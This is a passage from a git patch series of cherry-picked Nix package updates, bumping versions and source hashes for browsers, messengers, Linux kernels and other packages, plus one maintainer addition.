(cherry picked from commit 394148bf9362c4d05d53ee2e2e133871ee5d6b6d)
---
 pkgs/by-name/mo/moonlight/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mo/moonlight/package.nix b/pkgs/by-name/mo/moonlight/package.nix
index 9f6ff699ccaf..719d405da731 100644
--- a/pkgs/by-name/mo/moonlight/package.nix
+++ b/pkgs/by-name/mo/moonlight/package.nix
@@ -8,13 +8,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "moonlight";
-  version = "1.3.27";
+  version = "1.3.28";
 
   src = fetchFromGitHub {
     owner = "moonlight-mod";
     repo = "moonlight";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-feWRxpNfnBj110DMlBqipe7wunqDZ8SvUvrtnnlePgk=";
+    hash = "sha256-aLjHKVWkb9XHyoMmDBxLG2Ycg4CJFeieLdEg3CWeIwk=";
   };
 
   nativeBuildInputs = [
@@ -28,7 +28,7 @@ stdenv.mkDerivation (finalAttrs: {
     buildInputs = [ nodejs_22 ];
 
     fetcherVersion = 2;
-    hash = "sha256-Y+OusNJJUTVxa7D99Y/dJeJO4o0UDXFnY48Z2oGPF0Y=";
+    hash = "sha256-DvSBiUkIQbDkdgfHBw9h1odo3ApZq+emBDkbcQnx6NA=";
   };
 
   env = {

From 0e52d37a0008b1c0a68e576831d6c00f8b111f71 Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Thu, 11 Sep 2025 17:54:46 +0000
Subject: [PATCH 4459/4511] google-chrome: 140.0.7339.80 -> 140.0.7339.127

(cherry picked from commit 28a03afd2e513b7fc146fbdaa04f541ae83fed4a)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 8fe9addc7736..0ebc2e9a0c37 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -170,11 +170,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "140.0.7339.80";
+    version = "140.0.7339.127";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-9hNwMWUbtWsDvKc9hvfbI7PNVYm1L1mBLuXPlDzIG40=";
+      hash = "sha256-ZA23AsqHHznRoegQlDvPRvUfgA7bPQp2HMETFuAsqA8=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -275,11 +275,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "140.0.7339.81";
+    version = "140.0.7339.133";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/ockuail56dwhuxixexwh6zhrhm_140.0.7339.81/GoogleChrome-140.0.7339.81.dmg";
-      hash = "sha256-81TTdxKGHzLgSXSY2TVxY8JEjFZ6FZOhq3UuGvC0XAE=";
+      url = "http://dl.google.com/release2/chrome/fzn7lmun4oavjxo5gnqutqwcny_140.0.7339.133/GoogleChrome-140.0.7339.133.dmg";
+      hash = "sha256-nnmQOzN0U8ZMl9/3iF6eTfC8LjkfCfYa8B5kQs36rmA=";
     };
 
     dontPatch = true;

From c54c7d84616cc56564aae38433d46b1e52bbe141 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 11 Sep 2025 22:30:32 +0000
Subject: [PATCH 4460/4511] linux_6_16: 6.16.6 -> 6.16.7

(cherry picked from commit 456ed0bd1e7a30e703962d5c41185a758ee32e2c)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 7a56afa1c9a1..77a75970a2b3 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -35,8 +35,8 @@
         "lts": true
     },
     "6.16": {
-        "version": "6.16.6",
-        "hash": "sha256:00ihif1hqz1xi3bdzw25j9fjjvirnqpms0qf39hgnri15qg7pda8",
+        "version": "6.16.7",
+        "hash": "sha256:108sk9r6ac0sc7h6ydvlyv7kib6z3af4v2f46kdinys2z6hxmqsv",
         "lts": false
     }
 }

From ed1b904c4a11b7f9aee70889c673ea7a08b343a6 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 11 Sep 2025 22:30:34 +0000
Subject: [PATCH 4461/4511] linux_6_12: 6.12.46 -> 6.12.47

(cherry picked from commit 0a4e3c6afa2a3ca1c1173d3f35b95c95db5a1604)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 77a75970a2b3..4aa068cdc78b 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -30,8 +30,8 @@
         "lts": true
     },
     "6.12": {
-        "version": "6.12.46",
-        "hash": "sha256:0gjp2jqw9ip8j5i97bg2xvdy6r5sqzvia16qqlisrji4sf176pif",
+        "version": "6.12.47",
+        "hash": "sha256:099fj9qd8knafbl400drm8aqn5h7y6g39gc7d4i4hc3lf44f8bz8",
         "lts": true
     },
     "6.16": {

From 9d21c2f202a6f2299908b0321d549912608c0b30 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 11 Sep 2025 22:30:36 +0000
Subject: [PATCH 4462/4511] linux_6_6: 6.6.105 -> 6.6.106

(cherry picked from commit d67238d9395ee6bd5d19b1e4ef67626f64cee469)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 4aa068cdc78b..3c9a95edf5fb 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -25,8 +25,8 @@
         "lts": true
     },
     "6.6": {
-        "version": "6.6.105",
-        "hash": "sha256:078skrcidk6ql0p33q1m6h1lc0miv2hwn5368c5rhwhq9xk6x49z",
+        "version": "6.6.106",
+        "hash": "sha256:18584vys8qmbqj4hndiyhwbsn6z3832djm1mx07vgl6wv3i80c8c",
         "lts": true
     },
     "6.12": {

From d37c2caef9f08ff71f06a0fb24d1b4231ee62107 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 11 Sep 2025 22:30:38 +0000
Subject: [PATCH 4463/4511] linux_6_1: 6.1.151 -> 6.1.152

(cherry picked from commit 88010356e22934d7283574b98a8986c564587317)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 3c9a95edf5fb..aecb8108e016 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -5,8 +5,8 @@
         "lts": false
     },
     "6.1": {
-        "version": "6.1.151",
-        "hash": "sha256:0yzbib44hxx4s9py0psa6f7xvav9m52k066knfbglnm94dvv45hq",
+        "version": "6.1.152",
+        "hash": "sha256:1ndpnlmpsp2137aqis8bpa2cvdl28jg66pi0p2c6d26cm7i3n5qs",
         "lts": true
     },
     "5.15": {

From a3bb6433685d61c1463177260bdf1c4442a0d197 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 11 Sep 2025 22:30:39 +0000
Subject: [PATCH 4464/4511] linux_5_15: 5.15.192 -> 5.15.193

(cherry picked from commit d897b2264857cfc1665ca0ee48020f38c4c6a72a)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index aecb8108e016..a7347ea61449 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -10,8 +10,8 @@
         "lts": true
     },
     "5.15": {
-        "version": "5.15.192",
-        "hash": "sha256:1gjnpvzlhdip40b00vz4qrg9fhvlxfanb2xlbybjg7l8r8z8g1pb",
+        "version": "5.15.193",
+        "hash": "sha256:168ymh51hm0l6pd9g2kc33ji28gznc25rwzj7rvhnw82z79640n7",
         "lts": true
     },
     "5.10": {

From a5658d1f601d8449bb3ac0f2d52e8d9339e75a93 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Thu, 11 Sep 2025 22:30:41 +0000
Subject: [PATCH 4465/4511] linux_5_10: 5.10.243 -> 5.10.244

(cherry picked from commit 273ee8268d22a11e6a0b56a7dfeb605793031857)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index a7347ea61449..db8d684b874c 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -15,8 +15,8 @@
         "lts": true
     },
     "5.10": {
-        "version": "5.10.243",
-        "hash": "sha256:0f3yv3liyhy01si76asvxrp1kjhv9ldiw7wqp9k2hfbw8ks1xl0m",
+        "version": "5.10.244",
+        "hash": "sha256:1h3dqaran5zrfgs0vybwq576yka8s9jirahiy3bb7hpm1763f2i1",
         "lts": true
     },
     "5.4": {

From 63d812b912f115961a491beb2b7c31934088b1c8 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Wed, 10 Sep 2025 14:32:40 +0200
Subject: [PATCH 4466/4511] element-web-unwrapped: 1.11.110 -> 1.11.111

Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.111
Full changelog: https://github.com/element-hq/element-web/compare/v1.11.110...v1.11.111

(cherry picked from commit 63738161878d5355f5df597c1d8a445b75e42725)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index e10c1bf0187b..193bd755d170 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.110";
+  "version" = "1.11.111";
   "hashes" = {
-    "webSrcHash" = "sha256-9NOotUTcB2S6SSH620Em0YOwy6mxrWhChqdOZj0Leu0=";
-    "webYarnHash" = "sha256-TimQp6qcgszOuxRUOsN0Ey+pVVUGbEC6aRJ5gYXZ3dg=";
+    "webSrcHash" = "sha256-dNkt8fybwTM0/27L+6o3QuhQJiwTDAN2ez+hUG/0VwE=";
+    "webYarnHash" = "sha256-2QKZu/HObwW1ugUUuSAn2zV3OESgLa6PNizL6hhCBjg=";
   };
 }

From 9d5cc0ef001881d8cf1447406aa832fcc38c4493 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Wed, 10 Sep 2025 14:40:51 +0200
Subject: [PATCH 4467/4511] element-desktop: 1.11.110 -> 1.11.111

Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.111
Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.110...v1.11.111

(cherry picked from commit 0cf5648a9bdf58e79635c288403639cdc499c0f4)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++---
 pkgs/by-name/el/element-desktop/package.nix             | 1 -
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index 388357a8954c..5b5d3cf370f4 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.110";
+  "version" = "1.11.111";
   "hashes" = {
-    "desktopSrcHash" = "sha256-iWdNiihpU29nek+EQjHmRi7dXadPYYoIt6bhufauKf8=";
-    "desktopYarnHash" = "sha256-l/hclDXT1JeToQPnWFDXU8JSN+oEm5hPYm4OQ7QJONk=";
+    "desktopSrcHash" = "sha256-QRnMHlq/gBoptJ/0iBdKUXbnR/oLVeA+ybF/0YFVBlo=";
+    "desktopYarnHash" = "sha256-U+MuOe0N29AFrLCi7Xa9bDW70SmhQqqtjim+x7QAiJg=";
   };
 }
diff --git a/pkgs/by-name/el/element-desktop/package.nix b/pkgs/by-name/el/element-desktop/package.nix
index 1338f31f5874..b20c6cf01126 100644
--- a/pkgs/by-name/el/element-desktop/package.nix
+++ b/pkgs/by-name/el/element-desktop/package.nix
@@ -105,7 +105,6 @@ stdenv.mkDerivation (
       mkdir -p "$out/share/element"
       ln -s '${element-web}' "$out/share/element/webapp"
       cp -r '.' "$out/share/element/electron"
-      cp -r './res/img' "$out/share/element"
       chmod -R "a+w" "$out/share/element/electron/node_modules"
       rm -rf "$out/share/element/electron/node_modules"
       cp -r './node_modules' "$out/share/element/electron"

From e4741272eb54fad13f4128d3b854f161528df51d Mon Sep 17 00:00:00 2001
From: Rafael Ieda <git@ieda.me>
Date: Fri, 12 Sep 2025 10:24:55 -0300
Subject: [PATCH 4468/4511] microsoft-edge: 139.0.3405.125 -> 140.0.3485.66

(cherry picked from commit b7e125c1f69aaee0c1e59b30aefb09596662defe)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index ff626a5f2357..d20627a81d70 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -162,11 +162,11 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "139.0.3405.125";
+  version = "140.0.3485.66";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-MqJPlFoPiTIReXRhLJGR+nbOVwWcpiHTMr5s+M6KXqE=";
+    hash = "sha256-/ITJFChnQa5XK4nQe3biGw6vvV+pLbbZNb989XecUGY=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From f3765c449e0bb8f6f37da1d801fe5cb2ef276019 Mon Sep 17 00:00:00 2001
From: Rafael Ieda <git@ieda.me>
Date: Sat, 2 Aug 2025 09:12:25 -0300
Subject: [PATCH 4469/4511] maintainers: add iedame

(cherry picked from commit b5d1f14196e5311fd9dea797604c94f42212ce37)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 839d5f5b385b..9bb4c14d7e0a 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -10386,6 +10386,12 @@
     githubId = 1550265;
     name = "Dominic Steinitz";
   };
+  iedame = {
+    email = "git@ieda.me";
+    github = "iedame";
+    githubId = 60272;
+    name = "Rafael Ieda";
+  };
   if-loop69420 = {
     github = "if-loop69420";
     githubId = 81078181;

From 83e6c2fee3c9805365b8551d1fffd7884cc5b1a8 Mon Sep 17 00:00:00 2001
From: Rafael Ieda <git@ieda.me>
Date: Fri, 12 Sep 2025 10:25:55 -0300
Subject: [PATCH 4470/4511] microsoft-edge: add maintainer iedame

(cherry picked from commit 23027e3b77735fb999b6aa0ae40bfb45ed1079b5)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index d20627a81d70..360ddbba288f 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -277,6 +277,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
       leleuvilela
       bricklou
       jonhermansen
+      iedame
     ];
     platforms = [ "x86_64-linux" ];
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];

From e7f06e95712001c5da25daff8df2bdaa947cf873 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Thu, 11 Sep 2025 19:20:28 +0200
Subject: [PATCH 4471/4511] signal-desktop: 7.68.0 -> 7.70.0

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 031b856e4bff7ca414a00bd2d2208ed731852de7)
---
 pkgs/by-name/si/signal-desktop/package.nix          | 10 +++++-----
 pkgs/by-name/si/signal-desktop/ringrtc.nix          |  6 +++---
 pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix |  6 +++---
 pkgs/by-name/si/signal-desktop/webrtc-sources.json  |  4 ++--
 4 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index 736696528de4..cc34fbbb31a7 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -50,13 +50,13 @@ let
     '';
   });
 
-  version = "7.68.0";
+  version = "7.70.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-jsNSRNgIS0ZroM2vwPSFpCVfC81slQ4mUoRq5jDYi8Y=";
+    hash = "sha256-y9i9YQPsLt3SLqROyEZsyIkVy/os3hy+1UMUSFMZJTY=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -120,15 +120,15 @@ stdenv.mkDerivation (finalAttrs: {
     fetcherVersion = 1;
     hash =
       if withAppleEmojis then
-        "sha256-iu/ZjIn5c4X0rxWUFqiNLLAjCGKFYihsYxfgWtfmqk4="
+        "sha256-uVVUHvYhBCplKPyuS2+PKCxox8uWU2E/2EXLCG1ot54="
       else
-        "sha256-gMtBdlcuiAZRV5eeh2NoyOusFheCmn0/NIQwVPrUH/U=";
+        "sha256-tbfk/tIgqpjDtDiULbTVUOJf5i9eLX9xY7vUPrrjmu0=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1756327041;
+    SOURCE_DATE_EPOCH = 1757542492;
   };
 
   preBuild = ''
diff --git a/pkgs/by-name/si/signal-desktop/ringrtc.nix b/pkgs/by-name/si/signal-desktop/ringrtc.nix
index 0a0a1a834317..f06265402018 100644
--- a/pkgs/by-name/si/signal-desktop/ringrtc.nix
+++ b/pkgs/by-name/si/signal-desktop/ringrtc.nix
@@ -20,16 +20,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ringrtc";
-  version = "2.56.0";
+  version = "2.57.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "ringrtc";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-KEwN6x24hXmK9lqU2M9/5qbBk7zDxeTRbB0vJ1K9d3U=";
+    hash = "sha256-m73SXjTES1sHGbQRtn9CjurFd/Xby5Yyn6uLVLigfiU=";
   };
 
-  cargoHash = "sha256-ghuF1wxAf5psZoWNYOCAubGo0KDwJlqcBXgUbPMD9ac=";
+  cargoHash = "sha256-LRCgK/w+GcYBCWUKjytErQCxDtS15EnsVOr5Uq6F8ww=";
 
   cargoBuildFlags = [
     "-p"
diff --git a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
index 99a8b79b90a1..f8c91cb06377 100644
--- a/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
+++ b/pkgs/by-name/si/signal-desktop/signal-sqlcipher.nix
@@ -11,13 +11,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "node-sqlcipher";
-  version = "2.2.2";
+  version = "2.4.4";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "node-sqlcipher";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-vrY2cu8yfwMX7O6h2GgLhdvQvYOgl916E2z1Pf77ZI0=";
+    hash = "sha256-70kObW6jYzaquMrj20VMTQg/rDWqIu8o2/m7S3mUZB8=";
   };
 
   pnpmDeps = pnpm.fetchDeps {
@@ -30,7 +30,7 @@ stdenv.mkDerivation (finalAttrs: {
   cargoDeps = rustPlatform.fetchCargoVendor {
     name = "sqlcipher-signal-exentsion";
     inherit (finalAttrs) src cargoRoot;
-    hash = "sha256-qT4HM/FRL8qugKKNlMYM/0zgUsC6cDOa9fgd1d4VIrc=";
+    hash = "sha256-NtJPwRvjU1WsOxgb2vpokes9eL4DkEcbDaEmML7zsqQ=";
   };
 
   strictDeps = true;
diff --git a/pkgs/by-name/si/signal-desktop/webrtc-sources.json b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
index 05a4da47fa00..d9b28f488ad7 100644
--- a/pkgs/by-name/si/signal-desktop/webrtc-sources.json
+++ b/pkgs/by-name/si/signal-desktop/webrtc-sources.json
@@ -1,10 +1,10 @@
 {
     "src": {
         "args": {
-            "hash": "sha256-3hgBFFu2m+s9qzqNgbJSAmHH4ouHaQCL9nz2sFMy7hc=",
+            "hash": "sha256-Qj0UFRWfZrBG9WUX4zkyiatIekNSYXsneP5aLvufNh4=",
             "owner": "signalapp",
             "repo": "webrtc",
-            "tag": "7204a"
+            "tag": "7204c"
         },
         "fetcher": "fetchFromGitHub"
     },

From 3ae9ad849601c5ae881c1bf6bd93e584af0db2c3 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 3 Aug 2025 14:40:33 +0200
Subject: [PATCH 4472/4511] xrizer: 0.2 -> 0.3

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 71602948dc344989e599425b787c114ab15c4636)
---
 pkgs/by-name/xr/xrizer/package.nix | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/xr/xrizer/package.nix b/pkgs/by-name/xr/xrizer/package.nix
index e22ef2cd5902..fd53cea749ca 100644
--- a/pkgs/by-name/xr/xrizer/package.nix
+++ b/pkgs/by-name/xr/xrizer/package.nix
@@ -1,5 +1,6 @@
 {
   fetchFromGitHub,
+  fetchpatch2,
   lib,
   libGL,
   libxkbcommon,
@@ -12,16 +13,24 @@
 }:
 rustPlatform.buildRustPackage rec {
   pname = "xrizer";
-  version = "0.2";
+  version = "0.3";
 
   src = fetchFromGitHub {
     owner = "Supreeeme";
     repo = "xrizer";
     tag = "v${version}";
-    hash = "sha256-0RICNxF8RBHthve69Z9msTg2+jegg5K4aHYRF0YZ8a4=";
+    hash = "sha256-o6/uGbczYp5t6trjFIltZAMSM61adn+BvNb1fBhBSsk=";
   };
 
-  cargoHash = "sha256-87JcULH1tAA487VwKVBmXhYTXCdMoYM3gOQTkM53ehE=";
+  patches = [
+    (fetchpatch2 {
+      name = "xrizer-fix-flaky-tests.patch";
+      url = "https://github.com/Supreeeme/xrizer/commit/f58d797e75a8d920982abeaeedee83877dd3c493.diff?full_index=1";
+      hash = "sha256-TI++ZY7QX1iaj3WT0woXApSY2Tairraao5kzF77ewYY=";
+    })
+  ];
+
+  cargoHash = "sha256-kXcnD98ZaqRAA3jQvIoWSRC37Uq8l5PUYEzubxfMuUI=";
 
   nativeBuildInputs = [
     pkg-config

From f97c3af42d7c5bfc07503800e96d73dcee48c57f Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Wed, 3 Sep 2025 08:19:17 +0200
Subject: [PATCH 4473/4511] xrizer: support aarch64-linux and i686-linux

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 9e72d5556bd14477bc41951132f7c93eb4b23f94)
---
 pkgs/by-name/xr/xrizer/package.nix | 22 ++++++++++++++++------
 1 file changed, 16 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/xr/xrizer/package.nix b/pkgs/by-name/xr/xrizer/package.nix
index fd53cea749ca..40796824ac14 100644
--- a/pkgs/by-name/xr/xrizer/package.nix
+++ b/pkgs/by-name/xr/xrizer/package.nix
@@ -10,6 +10,7 @@
   rustPlatform,
   shaderc,
   vulkan-loader,
+  stdenv,
 }:
 rustPlatform.buildRustPackage rec {
   pname = "xrizer";
@@ -52,10 +53,18 @@ rustPlatform.buildRustPackage rec {
   '';
 
   postInstall = ''
-    mkdir -p $out/lib/xrizer/bin/linux64
-    ln -s "$out/lib/libxrizer.so" "$out/lib/xrizer/bin/linux64/vrclient.so"
+    mkdir -p $out/lib/xrizer/$platformPath
+    ln -s "$out/lib/libxrizer.so" "$out/lib/xrizer/$platformPath/vrclient.so"
   '';
 
+  platformPath =
+    {
+      "aarch64-linux" = "bin/linuxarm64";
+      "i686-linux" = "bin";
+      "x86_64-linux" = "bin/linux64";
+    }
+    ."${stdenv.hostPlatform.system}";
+
   passthru.updateScript = nix-update-script { };
 
   meta = {
@@ -63,9 +72,10 @@ rustPlatform.buildRustPackage rec {
     homepage = "https://github.com/Supreeeme/xrizer";
     license = lib.licenses.gpl3Only;
     maintainers = with lib.maintainers; [ Scrumplex ];
-    # TODO: support more systems
-    # To do so, we need to map systems to the format openvr expects.
-    # i.e. x86_64-linux -> linux64, aarch64-linux -> linuxarm64
-    platforms = [ "x86_64-linux" ];
+    platforms = [
+      "x86_64-linux"
+      "i686-linux"
+      "aarch64-linux"
+    ];
   };
 }

From 8144f1adc5158e69b8e73b8496865235fffb2516 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 12 Sep 2025 15:58:00 +0000
Subject: [PATCH 4474/4511] paretosecurity: 0.3.3 -> 0.3.4

(cherry picked from commit 75fd01eda91b860f7d73dd76c7ee5505023d57da)
---
 pkgs/by-name/pa/paretosecurity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index 495c90a3a3ef..9a70a54c7ddf 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,16 +17,16 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.3.3";
+  version = "0.3.4";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-IZrpGwm+j1jcKtcM23lcycOlLUuGerF41fWanWBgr40=";
+    hash = "sha256-jRaCcONfFch4cQ4clS/TaN0KxSnohSzBinIVr0ePymA=";
   };
 
-  vendorHash = "sha256-DlCGCheJHa4HPM7kfX/UbOfLukAiaoP7QZnabkZVASM=";
+  vendorHash = "sha256-y9x5RplVOr4mIOPTg86VvFWXkvZ1FTc9Ulc/yXb9/WU=";
   proxyVendor = true;
 
   # Skip building the Windows installer

From 68aa1c69dee2f3e7782dab0266b744e10b1aefe5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 12 Sep 2025 15:40:13 +0000
Subject: [PATCH 4475/4511] discord-ptb: 0.0.159 -> 0.0.160

(cherry picked from commit e08f7a53ffe5f527f110e4a565c338f7da36c9f6)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index e34e81ff39ee..116df4c1e1a0 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.108";
-        ptb = "0.0.159";
+        ptb = "0.0.160";
         canary = "0.0.752";
         development = "0.0.85";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-Rw3ppCZTuNG+eAB02goLL9yT1ldZhrBD50Tirzuo1CQ=";
+        hash = "sha256-6Oxy1EYhc7iEXJVjtkOCzfb3deSCdGa5U1UrLLyd6rM=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From 485819580b6e65be5d2269139b7a4ec44275800b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 12 Sep 2025 15:01:59 +0000
